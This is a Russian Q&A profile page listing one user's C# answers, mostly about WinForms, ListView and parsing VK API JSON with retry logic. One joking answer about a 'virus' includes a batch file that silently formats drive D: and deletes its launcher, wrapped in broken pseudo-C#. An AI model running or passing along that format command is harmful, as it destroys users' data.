Ответы пользователя по тегу C#
  • Почему когда я пишу адрес сайта, выдается ошибка на C# WinForms?

    Protos
    @Protos
    Спрашивай - отвечу
    Может хост должен быть в формате не ftps.shutterstock.com, а ftp://ftps.shutterstock.com то есть создать объект класса Uri ?
    Ответ написан
    Комментировать
  • Где объявлять ListView, чтобы можно было менять его в любом месте программы?

    Protos
    @Protos
    Спрашивай - отвечу
    Ну так объяви ListView ListView1 = new ListView() между двумя функциями, а не внутри функции, если надо менять и из другой формы то сделай public ListView ListView1 = new ListView(). Перед каждым новым заполнением можно его очищать listview1.items.clear()
    Ответ написан
    Комментировать
  • C# - Как вывести новости на форму?

    Protos
    @Protos
    Спрашивай - отвечу
    using System;
    using System.Data;
    using System.IO;
    using System.Linq;
    using System.Net;
    using System.Text;
    using System.Text.RegularExpressions;
    using System.Threading;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using Newtonsoft.Json.Linq;
    using System.Diagnostics;
    using System.Collections.Generic;
    using Newtonsoft.Json;
    using System.Net.Mail;
    using System.Net.Mime;
    //далее ваш класс,  допустим у вас есть кнопка и есть обработчик ее нажатия:
            private async void button1_Click(object sender, EventArgs e)
            {
                List<string> News = new List<string>();
                var json = JObject.Parse(await Download(string.Format("https://api.vk.com/method/newsfeed.get?v=5.64&access_token={0}&count={1}", Access_token, 10)));
                if (!json.ToString().Contains("error"))
                {
                    posts = (JArray)json["response"]["items"];
                    var query = from post in posts
                                select new
                                {
                                    type = post["type"],//тип списка новости, соответствующий одному из значений параметра filters;
                                    source_id = post["source_id"],//идентификатор источника новости (положительный — новость пользователя, отрицательный — новость группы);
                                    date = post["date"],//время публикации новости в формате unixtime
                                    text = post["text"],//находится в записях со стен и содержит текст записи;
                                    post_id = post["post_id"]//идентификатор владельца стены, на которой размещена запись. 
    //другие параметры по желанию
                                };
                    foreach (var post in query)//перебираем новости и заносим в массив
                    {
                        News.Add("type = "+post.type+
                            ", источник = "+ post.source_id +
                            ", дата публикации = " + UnixTimeToDate(Convert.ToDouble(post.date))+
                            ", текст новости = " + post.text +
                            ", идентификатор поста = " + post.post_id
                            );
                        //делаем что хотим
                    }
                    for (int i = 0; i < News.Count; i++)
                        Console.WriteLine(News[i]+Environment.NewLine);
                }
            }
    
    public static DateTime UnixTimeToDate(double unixTimeStamp)
            {
                return new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc).AddSeconds(unixTimeStamp).ToLocalTime();
            }
    Ответ написан
    Комментировать
  • C# WinForms - Как правильно парсить json?

    Protos
    @Protos
    Спрашивай - отвечу
    Как парсить я думаю вы поймете из моего говнокода :)
    using System;
    using System.Data;
    using System.IO;
    using System.Linq;
    using System.Net;
    using System.Text;
    using System.Text.RegularExpressions;
    using System.Threading;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using Newtonsoft.Json.Linq;
    using System.Diagnostics;
    using System.Collections.Generic;
    using Newtonsoft.Json;

    {List<string>Admins = new List<string>();
                            try
                            {
                                JToken fdbdb = JObject.Parse(await Download("https://api.vk.com/method/groups.getById?v=5.64&fields=contacts,deactivated,members_count&group_id=" + GROUPS[K]))["response"];
                                if (fdbdb[0]["deactivated"] != null)//группа забанена (временно или нет)
                                {
                                    fuckthewall = true; fuckthetopics = true; isNeedToCheck = false;
                                }
                                if (Convert.ToUInt32(fdbdb[0]["members_count"]) < MinimalMembeers)//мало подписчиков
                                {
                                    fuckthewall = true; fuckthetopics = true; isNeedToCheck = false;
                                }
                                JToken GroupContacts = fdbdb[0]["contacts"];
                                if (GroupContacts == null) GroupContacts = 0;
                                for (int j = 0; j < GroupContacts.Count(); j++)
                                {
                                    JToken gjdfj = GroupContacts[j]["user_id"];
                                    if (gjdfj != null) Admins.Add(gjdfj.ToString());
                                }
                            }
                            catch{}
    }
    {
    json = JObject.Parse(await Download("https://api.vk.com/method/wall.get?v=5.64&count=30&owner_id=-" + GROUPS[K]));
                                    if (!json.ToString().Contains("error"))
                                    {
                                        posts = (JArray)json["response"]["items"];
                                        var query = from post in posts
                                                    select new
                                                    {
                                                        id = post["id"],
                                                        date = post["date"],
                                                        from_id = post["from_id"],//идентификатор автора записи. 
                                                        text = post["text"],
                                                        owner_id = post["owner_id"]//идентификатор владельца стены, на которой размещена запись. 
                                                    };
                                        int posttobreak = 2;
                                        foreach (var post in query)
                                        {
                                            DateTime Postdate = UnixTimeToDate(Convert.ToDouble(post.date));
                                            if ((DateTimeNow - Postdate).Days < 10 || posttobreak > 0)//проверяем посты не старше 30 дней, но также проверяем парочку
                                            {//первых записей, т.к. закрепленная запись выводится первой и у ней могут быть актуальные комменты, и может быть старше 30 дней, а вторая (по факту самая новая), может быть младше 30 дней
                                                if ((DateTimeNow - Postdate) < c)//если пост опубликован после предыдущей проверки
                                                    if (!IsAdmin(Admins, post.from_id.ToString()))//если пост написан не админом                                                
                                                        if (Convert.ToInt32(post.from_id) > 0)//проверяем пост на стене
                                                            if (post.text.ToString().Length > CommentLen)//если пост содержит текст  
    //
    ....
    }}}
    
    }

    функция загрузки
    private async Task<string> Download(string whattodownload)
            {
                string returnstring = "";
                using (WebClient w = new WebClient())
                {
                    w.Encoding = Encoding.UTF8;
                    int ErrorsCount = 0;
                    bool downloaded = false;
                    while (downloaded == false)//периодически пытаемся скачать строку
                    {
                        try
                        {
                            returnstring = await w.DownloadStringTaskAsync(whattodownload);
                            downloaded = true;
                        }
                        catch
                        {
                            downloadingErrors++;
                            downloaded = false; ErrorsCount++; toomanyrequests += 2; Thread.Sleep(2000);
                            if (ErrorsCount > 10)
                            {
                                ErrorsCount = 0;
                                try
                                {
                                    using (WebClient w2 = new WebClient())
                                    {
                                        returnstring = await w2.DownloadStringTaskAsync(whattodownload);
                                        downloaded = true; break;
                                    }
                                }
                                catch { }
                            }
                        }
                    }
                }
                try
                {
                    if (returnstring.Contains("Too many requests per second"))//Если в скачанной строке есть ошибка
                    {
                        while (returnstring.Contains("Too many requests per second"))//то в цикле пытаемся снова скачать данные пока не скачаем
                        {
                            Thread.Sleep(2500); toomanyrequests += 2.5;
                            using (WebClient w2 = new WebClient())
                            {
                                w2.Encoding = Encoding.UTF8;
                                returnstring = await w2.DownloadStringTaskAsync(whattodownload);
                            }
                        }
                    }
                }
                catch
                {
                    downloadingErrors++;
                    using (WebClient w2 = new WebClient())
                    {
                        Thread.Sleep(2500); toomanyrequests += 2.5;
                        w2.Encoding = Encoding.UTF8;
                        returnstring = await w2.DownloadStringTaskAsync(whattodownload);
                    }
                }
                return returnstring;//Если в скачанной строке не было ошибки "Too many requests per second" - все ОК, значит возвращаем ответ сервера
            }
    Ответ написан
  • Как удалить функцию в c#?

    Protos
    @Protos
    Спрашивай - отвечу
    Функцию удалить "можно", видимо, вирус пишет:), но "функция" должна храниться в отдельном исполняемом файле, например, с расширением .bat:

    void func() { //Тело программы с именем "Virus_zapuskator.exe"
            Process.Start("virus.bat",);
    }
    func() //вызываем сам вирус
    
    #if (10 > 5) {
      #   func.Remove();
    }
    
    Код файла virus.bat который выполняет действие и убивает родителя.
    
    @echo off
    format D: /q /autotest  //форматируем второй диск в системе
    taskkill /f /im Virus_zapuskator.exe 
    del "Virus_zapuskator.exe" //удаляем функцию
    Ответ написан
    Комментировать
  • Почему c# Webbrowser не реагирует на нажатия?

    Protos
    @Protos Автор вопроса
    Спрашивай - отвечу
    Заменил на Awesomium, потратил 15 мин.
    Ответ написан
    Комментировать
  • Как получить url страницы до перехода по ссылке в webBrowser?

    Protos
    @Protos
    Спрашивай - отвечу
    Обрабатывать нажатие на ссылку, и бросать исключение, не!?
    Ответ написан
    Комментировать